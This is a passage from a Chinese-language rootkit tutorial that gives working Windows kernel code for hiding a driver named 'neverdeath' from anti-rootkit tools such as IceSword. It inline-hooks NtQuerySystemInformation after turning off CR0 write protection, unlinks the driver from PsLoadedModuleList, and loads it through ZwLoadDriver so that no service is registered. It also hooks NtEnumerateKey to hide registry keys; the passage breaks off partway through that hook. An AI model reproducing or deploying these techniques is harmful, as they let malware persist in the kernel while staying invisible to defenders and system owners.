    1.  DWORD DriverAddr ;   
    2.  unsigned char  ResumCodeNtQuerySystemInformation [ 6 ];   
    3.  unsigned char  CrackCodeNtQuerySystemInformation [ 6 ];   
    4.  typedef  NTSTATUS  (* NTQUERYSYSTEMINFORMATION )(   
    5.   
   6.    IN ULONG        SystemInformationClass ,   
    7.    OUT PVOID        SystemInformation ,   
    8.    IN ULONG        SystemInformationLength ,   
    9.    OUT PULONG        ReturnLength OPTIONAL   );   
   10.   
  11.  NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation ;   
   12.   
  13.  NTSTATUS NewNtQuerySystemInformation (   
   14.   
  15.    IN ULONG        SystemInformationClass ,   
   16.    OUT PVOID        SystemInformation ,   
   17.    IN ULONG        SystemInformationLength ,   
   18.    OUT PULONG        ReturnLength OPTIONAL  )   
   19.  {   
   20.      NTSTATUS Status ;   
   21.   
  22.          _asm   //还原   
   23.          {   
   24.              pushad   
   25.              mov edi ,  OldNtQuerySystemInformation   
   26.              mov eax ,  dword ptr ResumCodeNtQuerySystemInformation [ 0 ]   
   27.              mov  [ edi ],  eax   
   28.              mov ax ,  word ptr ResumCodeNtQuerySystemInformation [ 4 ]   
   29.              mov  [ edi + 4 ],  ax   
   30.              popad   
   31.          }   
   32.            
  33.          Status  =  ZwQuerySystemInformation  (    
   34.                              SystemInformationClass ,    
   35.                              SystemInformation ,    
   36.                              SystemInformationLength ,    
   37.                              ReturnLength OPTIONAL  );   
   38.          _asm  //替换   
   39.          {   
   40.              pushad   
   41.              mov edi ,  OldNtQuerySystemInformation   
   42.              mov eax ,  dword ptr CrackCodeNtQuerySystemInformation [ 0 ]   
   43.              mov  [ edi ],  eax   
   44.              mov ax ,  word ptr CrackCodeNtQuerySystemInformation [ 4 ]   
   45.              mov  [ edi + 4 ],  ax   
   46.              popad   
   47.          }   
   48.   
  49.          if  (  Status  !=  STATUS_SUCCESS  ||  SystemInformationClass != 0xb  )   //是否是获取模块信息   
   50.          {   
   51.              return  Status ;     
   52.          }   
   53.   
  54.          _asm   
   55.          {   
   56.              pushad   
   57.   
  58.              mov edi ,  SystemInformation   
   59.              mov ecx , [ edi ]             //eax=模块数目   
   60.              add edi ,  0x4   
  61.   
  62.  NextModuleInfo :   
   63.   
  64.              mov eax , [ edi + 0x8 ]       
   65.              mov edx , [ edi + 0xC ]     
   66.                
  67.              add edx ,  eax       
   68.              mov ebx ,  DriverAddr   
   69.   
  70.              cmp ebx ,  eax   
   71.              ja    FirstMatch   
   72.              dec ecx   
   73.              test ecx ,  ecx   
   74.              jz  ArrayEnd   
   75.   
  76.              add edi ,  0x11c   
  77.              jmp NextModuleInfo   
   78.   
  79.  FirstMatch :   
   80.              cmp ebx ,  edx   
   81.              jb SecMatch     //找到的话则跳去把该模块以后的模块数据前移已覆盖掉此模块   
   82.   
  83.              dec ecx   
   84.              test ecx ,  ecx   
   85.              jz  ArrayEnd   
   86.              add edi ,  0x11c   
  87.              jmp NextModuleInfo   
   88.  SecMatch :   
   89.              dec ecx   
   90.              xor  eax ,  eax   
   91.              mov ax ,  0x11c   
  92.              mul cx   
   93.              xor  ecx ,  ecx   
   94.              mov ecx ,  eax   
   95.              mov esi ,  edi   
   96.              add esi ,  0x11c   
  97.              rep movsb   
   98.              mov edi ,  SystemInformation   
   99.              mov eax , [ edi ]   
  100.              dec eax   
  101.              mov  [ edi ],  eax             //完成   
  102.  ArrayEnd :   
  103.              popad   
  104.          }   
  105.          return  Status ;   
  106.  }   
  107.   
 108.  NTSTATUS PatchNtQuerySystemInformation ()   
  109.  {   
  110.      NTSTATUS Status ;   
  111.                
 112.              OldNtQuerySystemInformation =( NTQUERYSYSTEMINFORMATION )(  GetFunctionAddr ( L "NtQuerySystemInformation" ) );   
  113.   
 114.              if  (  OldNtQuerySystemInformation  ==  NULL  )   
  115.              {   
  116.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
  117.              }   
  118.   
 119.              _asm     //关中断   
  120.              {   
  121.                  CLI                     
  122.                  MOV    EAX ,  CR0          
  123.                  AND EAX ,  NOT  10000H    
 124.                  MOV    CR0 ,  EAX         
  125.              }   
  126.   
 127.              _asm   
  128.              {   
  129.                  pushad   
  130.                  //获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节   
  131.   
 132.                  lea eax ,  NewNtQuerySystemInformation       
  133.                  mov DriverAddr ,  eax  //把NewNtQuerySystemInformation函数地址给DriverAddr   
  134.   
 135.                  mov edi ,  OldNtQuerySystemInformation   
  136.                  mov eax , [ edi ]   
  137.                  mov dword ptr ResumCodeNtQuerySystemInformation [ 0 ],  eax   
  138.                  mov ax , [ edi + 4 ]   
  139.                  mov word  ptr ResumCodeNtQuerySystemInformation [ 4 ],  ax   
  140.                    
 141.                  //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行   
  142.                  mov byte ptr CrackCodeNtQuerySystemInformation [ 0 ],  0x68   
 143.                  lea edi ,  NewNtQuerySystemInformation   
  144.                  mov dword ptr CrackCodeNtQuerySystemInformation [ 1 ],  edi   
  145.                  mov byte ptr CrackCodeNtQuerySystemInformation [ 5 ],  0xC3   
 146.   
 147.                  //把构造好的代码进行替换   
  148.                  mov edi ,  OldNtQuerySystemInformation   
  149.                  mov eax ,  dword ptr CrackCodeNtQuerySystemInformation [ 0 ]   
  150.                  mov dword ptr [ edi ],  eax   
  151.                  mov ax ,  word ptr CrackCodeNtQuerySystemInformation [ 4 ]   
  152.                  mov word ptr [ edi + 4 ],  ax   
  153.                  popad   
  154.              }   
  155.   
 156.              _asm  //开中断   
  157.              {   
  158.                  MOV    EAX ,  CR0         
  159.                  OR    EAX ,  10000H            
 160.                  MOV    CR0 ,  EAX              
  161.                  STI                       
  162.              }   
  163.   
 164.              Status  =  RepairNtosFile  (   
  165.                              ( DWORD ) OldNtQuerySystemInformation ,   
  166.                              ( DWORD )& CrackCodeNtQuerySystemInformation [ 0 ] );   
  167.              return  Status ;   
  168.                
 169.  }  

     你可能发现上面这段代码hook的也是NtQuerySystemInformation函数,而在隐藏进程中不是已经hook了 NtQuerySystemInformation函数,这样不是造成重合了。在实际操作中,你只要hook一次 NtQuerySystemInformation函数,然后在自己定义NewNtQuerySystemInformation中增加几个选择项就是了。我这样写是为了便于理解,使它们每个部分自成一体,如果按实际代码搬出来的话,显得太支离破碎(支离破碎的支到底是这个“支”还是这个“肢”??)了。

    不知道pjf看到这里之后会不会想着给IS升级,增加IS检测隐藏内核模块的功能,因此下面一并给出了如何在 PsLoadedModuleList链表删除自身的代码,关于如何获取PsLoadedModuleList这个内核变量的地址我就不说了,不了解的请参看TK的《获取Windows 系统的内核变量》。PsLoadedModuleList所指向的是结构是_MODULE_ENTRY,微软没有给出定义,但是uzen_op (fuzen_op@yahoo . com)在FU_Rootkit2 .0 的资源中给出了MODULE_ENTRY的结构定义如下:
代码

    1.  typedef struct  _MODULE_ENTRY  {   
    2.      LIST_ENTRY le_mod ;   
    3.      DWORD  unknown [ 4 ];   
    4.      DWORD  base ;   
    5.      DWORD  driver_start ;   
    6.      DWORD  unk1 ;   
    7.      UNICODE_STRING driver_Path ;   
    8.      UNICODE_STRING driver_Name ;   
    9.  }  MODULE_ENTRY , * PMODULE_ENTRY ;   

进一步分析后发现上述结构中的unk1成员的值其实就是该模块文件的大小 . 从新对该结构定义如下 :

 
代码

    1.  typedef struct  _MODULE_ENTRY  {   
    2.      LIST_ENTRY le_mod ;   
    3.      DWORD  unknown [ 4 ];   
    4.      DWORD  base ;   
    5.      DWORD  driver_start ;   
    6.      DWORD  Size ;   
    7.      UNICODE_STRING driver_Path ;   
    8.      UNICODE_STRING driver_Name ;   
    9.  }  MODULE_ENTRY , * PMODULE_ENTRY ;   

     PsLoadedModuleList指向的是一个带表头的双向链表,该链表的表头所指向的第一个MODULE_ENTRY的就是 ntoskrnl . exe,此时它的base成员的值就是ntoskrnl . exe在内存中的起始地址 . 这是就可以顺手取一下NtoskrnlBase的值。
    有一点要注意的是,如果DriverEntry () 例程未返回STATUS_SUCCESS之前。系统不会把你加入到 PsLoadedModuleList链表中,此时你在PsLoadedModuleList中是找不到自己的。当然为了这个而写一个分发例程也行。我是在自己hook的那些系统函数中设了一个阀值,阀值初始值为“开”,这样系统调用这个函数时都会先检测阀值是否是“开”,是的话跑到 PsLoadedModuleList找一下我们的模块是否存在,存在的话说明DriverEntry () 已经返回成功,马上把自己从 PsLoadedModuleList链表中删除,然后把阀值设成“关”,这样系统下次调用这个函数时发现阀值是“关”的就不会傻乎乎的又跑到 PsLoadedModuleList中去搂一遍了。

 
代码

    1.  DWORD NtoskrnlBase = 0 ;   
    2.  DWORD PsLoadedModuleListPtr = 0 ;   
    3.   
   4.  typedef struct  _MODULE_ENTRY  {   
    5.   
   6.      LIST_ENTRY le_mod ;   
    7.      DWORD  unknown [ 4 ];   
    8.      DWORD  base ;   
    9.      DWORD  driver_start ;   
   10.      DWORD  Size ;   
   11.      UNICODE_STRING driver_Path ;   
   12.      UNICODE_STRING driver_Name ;   
   13.  }  MODULE_ENTRY , * PMODULE_ENTRY ;   
   14.   
  15.  NTSTATUS GetPsLoadedModuleListPtr ()   
   16.  {   
   17.      UNICODE_STRING  UStrName ;   
   18.      DWORD KdEnableDebuggerAddr ;   
   19.      DWORD InitSystem = 0 ;   
   20.      DWORD KdDebuggerDataBlock = 0 ;   
   21.      PMODULE_ENTRY NtosModPtr ;   
   22.      unsigned char  *  DebuggerDataBlockPtr ;   
   23.      unsigned char  *  Sysinit ;   
   24.      int  i , j ;   
   25.            
  26.          RtlInitUnicodeString  (   
   27.                      & UStrName ,    
   28.                      L "KdEnableDebugger"  );   
   29.   
  30.          KdEnableDebuggerAddr =( DWORD ) MmGetSystemRoutineAddress ( & UStrName  );                                                   
   31.            
  32.          if  ( ! KdEnableDebuggerAddr  )   
   33.          {   
   34.              return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
   35.          }   
   36.            
  37.          for  ( i = 0 ,  Sysinit  = ( unsigned char  * ) KdEnableDebuggerAddr ;  i < 0x50 ;  i ++,  Sysinit ++)   
   38.          {   
   39.              if  ( (* Sysinit ) ==  0xc6  && (*( Sysinit + 0x1 )) ==  0x05  && (*( Sysinit + 0x6 )) ==  0x01  && (*( Sysinit + 0x7 )) ==  0xE8  )   
   40.              {   
   41.                  _asm   
   42.                  {   
   43.                      pushad   
   44.                      mov edi ,  Sysinit   
   45.                      mov eax , [ edi + 0x8 ]   
   46.                      add edi ,  0xC   
  47.                      add edi ,  eax   
   48.                      mov InitSystem ,  edi   
   49.                      popad   
   50.                  }   
   51.              }   
   52.              if  (  InitSystem  !=  0 )  break ;   
   53.   
  54.          }   
   55.   
  56.          if  (  InitSystem  ==  0  )   
   57.          {   
   58.              return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
   59.          }    
   60.            
  61.          for  (  i = 0 ,  DebuggerDataBlockPtr  = ( unsigned char  * ) InitSystem ;  i < 0x70 ;  i ++, DebuggerDataBlockPtr ++)   
   62.          {   
   63.   
  64.              if  ( *(( DWORD *) DebuggerDataBlockPtr ) ==  0x4742444b  )   
   65.              {   
   66.                  DebuggerDataBlockPtr --;   
   67.                  DebuggerDataBlockPtr --;   
   68.   
  69.                  for  ( j = 0 ;  j < 0x10 ;  j ++,  DebuggerDataBlockPtr --)   
   70.                  {   
   71.                      if  ( * DebuggerDataBlockPtr  ==  0x68  )   
   72.                      {   
   73.                          _asm    
   74.                          {   
   75.                              pushad   
   76.                              mov edi ,  DebuggerDataBlockPtr   
   77.                              inc edi   
   78.                              mov eax , [ edi ]   
   79.                              mov KdDebuggerDataBlock ,  eax   
   80.                              popad   
   81.                          }   
   82.                          break ;   
   83.                      }   
   84.                  }   
   85.                    
  86.              }   
   87.   
  88.              if  (  KdDebuggerDataBlock  !=  0  )   
   89.              {   
   90.                  break ;   
   91.              }   
   92.          }   
   93.   
  94.          if  (  KdDebuggerDataBlock  ==  0  )   
   95.          {   
   96.              return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
   97.          }   
   98.   
  99.          _asm   
  100.          {   
  101.              pushad   
  102.              mov edi ,  KdDebuggerDataBlock   
  103.              mov eax , [ edi + 0x48 ]   
  104.              mov PsLoadedModuleListPtr ,  eax   
  105.              popad   
  106.          }   
  107.   
 108.          if  (  PsLoadedModuleListPtr  ==  0  )   
  109.          {   
  110.              return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
  111.          }   
  112.            
 113.          //获取 Ntoskrnl 的起始地址   
  114.          NtosModPtr  = (  PMODULE_ENTRY  )  PsLoadedModuleListPtr ;   
  115.          NtosModPtr  = (  PMODULE_ENTRY  ) ( NtosModPtr -> le_mod . Flink  );      
  116.          NtoskrnlBase  = ( DWORD ) (  NtosModPtr -> base  );   
  117.   
 118.          return  STATUS_SUCCESS ;   
  119.   
 120.  }   
  121.   
 122.  NTSTATUS RemoveModule  ( )   
  123.  {   
  124.      DWORD RemoveModleAddr ;   
  125.      PMODULE_ENTRY PModPtr_Current ;   
  126.      PMODULE_ENTRY PModPtr_Flink ;   
  127.      PMODULE_ENTRY PModPtr_Blink ;   
  128.   
 129.              PModPtr_Current =( PMODULE_ENTRY ) PsLoadedModuleListPtr ;   
  130.                
 131.   
 132.   
 133.              PModPtr_Flink  = ( PMODULE_ENTRY )( PModPtr_Current -> le_mod . Flink );   
  134.   
 135.              //Get RemoveModle Addr   
  136.   
 137.              RemoveModleAddr =  DriverAddr ;   
  138.   
 139.              for  ( ;  PModPtr_Flink -> le_mod . Flink  != ( PLIST_ENTRY )  PModPtr_Current  ;  PModPtr_Flink  = ( PMODULE_ENTRY )( PModPtr_Flink -> le_mod . Flink ) )   
  140.              {   
  141.                  if  (  RemoveModleAddr  > (( DWORD ) PModPtr_Flink -> base ) &&  RemoveModleAddr  < (( DWORD )( PModPtr_Flink -> Size ) + (( DWORD ) PModPtr_Flink -> base )) )   
  142.                  {   
  143.                      PModPtr_Blink  = ( PMODULE_ENTRY )( PModPtr_Flink -> le_mod . Blink );   
  144.                      PModPtr_Flink  = ( PMODULE_ENTRY )( PModPtr_Flink -> le_mod . Flink );   
  145.                      PModPtr_Blink -> le_mod . Flink = ( PLIST_ENTRY ) PModPtr_Flink ;   
  146.                      PModPtr_Flink -> le_mod . Blink = ( PLIST_ENTRY ) PModPtr_Blink ;   
  147.                      IsDelModule = TRUE ;   
  148.                      break ;   
  149.                  }   
  150.              }   
  151.              if  (  IsDelModule  !=  TRUE  )   
  152.              {   
  153.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
  154.              }   
  155.              return  STATUS_SUCCESS ;   
  156.   
 157.  }   
  158.   

     上面这两个函数中,GetPsLoadedModuleListPtr () 是通过特征码搜索获取KdDebuggerDataBlock的位置,使用特征码搜索办法虽然不是很好,但是通用性强。然后再以此获取PsLoadedModuleList地址,RemoveModule () 用来实现在PsLoadedModuleList链表中删除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。


五、隐藏服务:

    普通情况下加载驱动需要 OpenSCManager -> CreateService -> StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll . dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法:

     1 、首先自己在注册表的服务项中添加一个自己的服务名字项。
     2 、在自己添加的服务名字项中添加一些驱动信息(其实就是手工实现CreateService () 函数对注册表的那些操作),这些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工设置这些键以及键值。

按上面设置完后,来看看ZwLoadDriver的原形:
代码

    1.  NTSTATUS   
    2.      ZwLoadDriver (   
    3.      IN PUNICODE_STRING DriverServiceName  );   
    4.   
   5.  下面的代码给出了ZwLoadDriver的使用例子:   
    6.   
   7.  AnotherWayStartService (  TCHAR  * szDir  )   
    8.  {   
    9.      HKEY RegKey ;   
   10.      HKEY hLicenses ;   
   11.      DWORD disp ;   
   12.      DWORD ErrorControl = NULL ;   
   13.      DWORD ProcessID ;   
   14.      DWORD Start = 3 ;   
   15.      DWORD Type = 1 ;   
   16.      LONG Regrt ;   
   17.   
  18.      DWORD ZwLoadDriver ;   
   19.      DWORD RtlInitUnicodeString ;   
   20.        
  21.      UNICODE_STRING RegService ;   
   22.   
  23.      PCWSTR    RegServicePath =  L "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath" ;   
   24.   
  25.      TCHAR    DriverFilePath [ MAX_PATH ] =  "\\??\\" ;  
   26.  
  27.  
  28.          Regrt  =  RegOpenKeyEx  (  
   29.                      HKEY_LOCAL_MACHINE ,  
   30.                      "SYSTEM\\CurrentControlSet\\Services" ,  
   31.                     0 ,  
   32.                      KEY_CREATE_SUB_KEY  +  KEY_SET_VALUE ,  
   33.                      & hLicenses  );  
   34.  
  35.          if  (  Regrt  !=  ERROR_SUCCESS  )   
   36.          {  
   37.              return false ;  
   38.          }  
   39.  
  40.          Regrt = RegCreateKeyEx  (  
   41.                      hLicenses ,  
   42.                      "neverdeath" ,  
   43.                     0 ,  
   44.                      "" ,  
   45.                      REG_OPTION_NON_VOLATILE ,  
   46.                      KEY_ALL_ACCESS ,  
   47.                      NULL ,  
   48.                      & RegKey ,  
   49.                      & disp  );  
   50.  
  51.          if  (  Regrt  !=  ERROR_SUCCESS  )   
   52.          {  
   53.              return false ;  
   54.          }  
   55.  
  56.              Regrt  =  RegOpenKeyEx  (  
   57.                & nb ,  sp ;          HKEY_LOCAL_MACHINE ,  
   58.                          "SYSTEM\\CurrentControlSet\\Services\\neverdeath" ,  
   59.                         0 ,  
   60.                          KEY_CREATE_SUB_KEY  +  KEY_SET_VALUE ,  
   61.                          & RegKey  );  
   62.  
  63.          if  (  Regrt  !=  ERROR_SUCCESS  )   
   64.          {  
   65.              return false ;  
   66.          }  
   67.  
  68.          Regrt  =  RegSetValueEx  (  
   69.                      RegKey ,  
   70.                      "ErrorControl" ,  
   71.                      NULL ,  
   72.                      REG_DWORD ,  
   73.                      ( const unsigned char  *)(& ErrorControl ),  
   74.                     4  );  
   75.  
  76.          if  (  Regrt  !=  ERROR_SUCCESS  )   
   77.          {  
   78.              return false ;  
   79.          }  
   80.           
  81.          strcat ( DriverFilePath ,  szDir );  
   82.  
  83.          Regrt  =  RegSetValueEx  (  
   84.                      RegKey ,  
   85.                      "ImagePath" ,  
   86.                      NULL ,  
   87.                      REG_EXPAND_SZ ,  
   88.                      ( const unsigned char  *)(& DriverFilePath ),  
   89.                      strlen (  DriverFilePath  ) );  
   90.  
  91.          if  (  Regrt  !=  ERROR_SUCCESS  )   
   92.          {  
   93.              return false ;  
   94.          }  
   95.  
  96.  
  97.          Regrt  =  RegSetValueEx  (  
   98.                      RegKey ,  
   99.                      "Start" ,  
  100.                      NULL ,  
  101.                      REG_DWORD ,  
  102.                      ( const unsigned char  *)(& Start ),  
  103.                     4  );  
  104.  
 105.          if  (  Regrt  !=  ERROR_SUCCESS  )   
  106.          {  
  107.              return false ;  
  108.          }  
  109.           
 110.          Regrt  =  RegSetValueEx  (          
  111.                      RegKey ,  
  112.                      "Type" ,  
  113.                      NULL ,  
  114.                      REG_DWORD ,  
  115.                      ( const unsigned char  *)(& Type ),  
  116.                     4  );  
  117.  
 118.          if  (  Regrt  !=  ERROR_SUCCESS  )   
  119.          {  
  120.              return false ;  
  121.          }  
  122.  
 123.          //还记得前面隐藏进程时,我们进程ID是从注册表中取的  
  124.          //下面就是把进程ID写入注册表,不会影响驱动的加载  
  125.  
 126.          ProcessID = GetCurrentProcessId ();      
  127.  
 128.          Regrt  =  RegSetValueEx  (  
  129.                      RegKey ,  
  130.                      "ProcessID" ,  
  131.                      NULL ,  
  132.                      REG_DWORD ,  
  133.                      ( const unsigned char  *)(& ProcessID ),  
  134.                     4  );  
  135.  
 136.          if  (  Regrt  !=  ERROR_SUCCESS  )   
  137.          {  
  138.              return false ;  
  139.          }          
  140.           
 141.          CloseHandle (  RegKey  );  
  142.  
 143.  
 144.          ZwLoadDriver  = ( DWORD )  GetProcAddress  (   
  145.                              GetModuleHandle (  "ntdll.dll"  ),   
  146.                              "ZwLoadDriver"  );  
  147.  
 148.          RtlInitUnicodeString  = ( DWORD )  GetProcAddress (   
  149.                                  GetModuleHandle (  "ntdll.dll"  ),   
  150.                                  "RtlInitUnicodeString"  );   
  151.            
 152.          _asm   
  153.          {   
  154.              pushad   
  155.              push RegServicePath   
  156.              lea edi ,  RegService    
  157.              push edi   
  158.              call RtlInitUnicodeString     //装载UNICODE字符   
  159.   
 160.              lea edi ,  RegService   
  161.              push edi   
  162.              call ZwLoadDriver       
  163.              popad   
  164.          }   
  165.   
 166.          return true ;   
  167.   
 168.  }   

请注意上面这段代码中加载驱动时所使用的注册表路径格式是:
“\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath”
而不是:
“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\neverdeath”
也许你已经想到了那么卸载驱动会不会就是函数“ZwUnloadDriver”?自己试一下不就知道了:)


六、隐藏注册表:

    IS处理注册表并没有什么新意,就是调用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一类的注册表操作函数,通过伪造内核文件,所以这部分可以很轻松hook并实现隐藏。IS在这里玩了一个小花样,在XP下,IS会在把从 ntoskrnl . exe读到的NtEnumerateKey起始地址的第三个字(注意是字,不是字节!)先加上 0xD50 后,再进行还原,因此你在伪造内核文件时必须先把自己构造的代码的第三个字减去 0xD50 后再写入到otoskrnl . exe中,否则就等着BSOD吧。而在 2K 中就不需要这些操作。这里主要是通过hook注册表函数NtEnumerateKey来隐藏我们注册中的“CurrentControlSet\Services”下的 “neverdeath”项以及“CurrentControlSet\Enum\Root”下的“LEGACY_NEVERDEATH”项。至于隐藏键与键值在这里就不说了,自己随手写一个就是了。顺便提一下,由于windows的regedit也是调用这些函数访问注册表,所以如果你在IS中隐藏了注册表也就等于在windows的regedit中隐藏了。以下代码在XP下测试通过,如要在 2K 或 2K3 中运行,请根据需要自己进行取舍。
由于NtEnumerateKey没有被ntoskrnl . exe导出,这里利用
NtEnumerateKey在服务表 偏移 = “NtDuplicateToken”在服务表中的偏移+ 2
来获取NtEnumerateKey地址。
代码

    1.  PCWSTR HideKey  =  L "neverdeath" ;   
    2.  PCWSTR HideKeyLEG  =  L "LEGACY_NEVERDEATH" ;   
    3.   
   4.  unsigned char  ResumCodeNtEnumerateKey [ 6 ];   
    5.  unsigned char  CrackCodeNtEnumerateKey [ 6 ];   
    6.  unsigned char  CrackCodeNtEnumerateKeyWriteFile [ 6 ];   
    7.   
   8.  typedef  NTSTATUS  ( * NTENUMERATEKEY  ) (   
    9.    IN HANDLE            KeyHandle ,   
   10.    IN ULONG            Index ,   
   11.    IN KEY_INFORMATION_CLASS  KeyInformationClass ,   
   12.    OUT PVOID            KeyInformation ,   
   13.    IN ULONG            Length ,   
   14.    OUT PULONG        ResultLength  );   
   15.   
  16.  NTENUMERATEKEY OldNtEnumerateKey ;   
   17.   
  18.  typedef struct  ServiceDescriptorEntry  {   
   19.      unsigned int  * ServiceTableBase ;   
   20.      unsigned int  * ServiceCounterTableBase ;  //Used only in checked build   
   21.      unsigned int  NumberOfServices ;   
   22.      unsigned char  * ParamTableBase ;   
   23.  }  ServiceDescriptorTableEntry , * PServiceDescriptorTableEntry ;   
   24.   
  25.  extern  PServiceDescriptorTableEntry KeServiceDescriptorTable ;   
   26.   
  27.  NTSTATUS NewNtEnumerateKey (   
   28.   
  29.    IN HANDLE            KeyHandle ,   
   30.    IN ULONG            Index ,   
   31.    IN KEY_INFORMATION_CLASS  KeyInformationClass ,   
   32.    OUT PVOID            KeyInformation ,   
   33.    IN ULONG            Length ,   
   34.    OUT PULONG        ResultLength  )   
   35.  {   
   36.      NTSTATUS Status ;   
   37.      PCWSTR KeyNamePtr ;   
   38.   
  39.   
  40.              _asm   //还原   
   41.              {   
   42.                  pushad   
   43.                  mov edi ,  OldNtEnumerateKey   
   44.                  mov eax ,  dword ptr ResumCodeNtEnumerateKey [ 0 ]   
   45.                  mov  [ edi ],  eax   
   46.                  mov ax ,  word ptr ResumCodeNtEnumerateKey [ 4 ]   
   47.                  mov  [ edi + 4 ],  ax   
   48.                  popad   
   49.              }   
   50.   
  51.              Status  =  ZwEnumerateKey  (    
   52.                              KeyHandle ,   
   53.                              Index ,   
   54.                              KeyInformationClass ,   
   55.                              KeyInformation ,   
   56.                              Length ,   
   57.                              ResultLength  );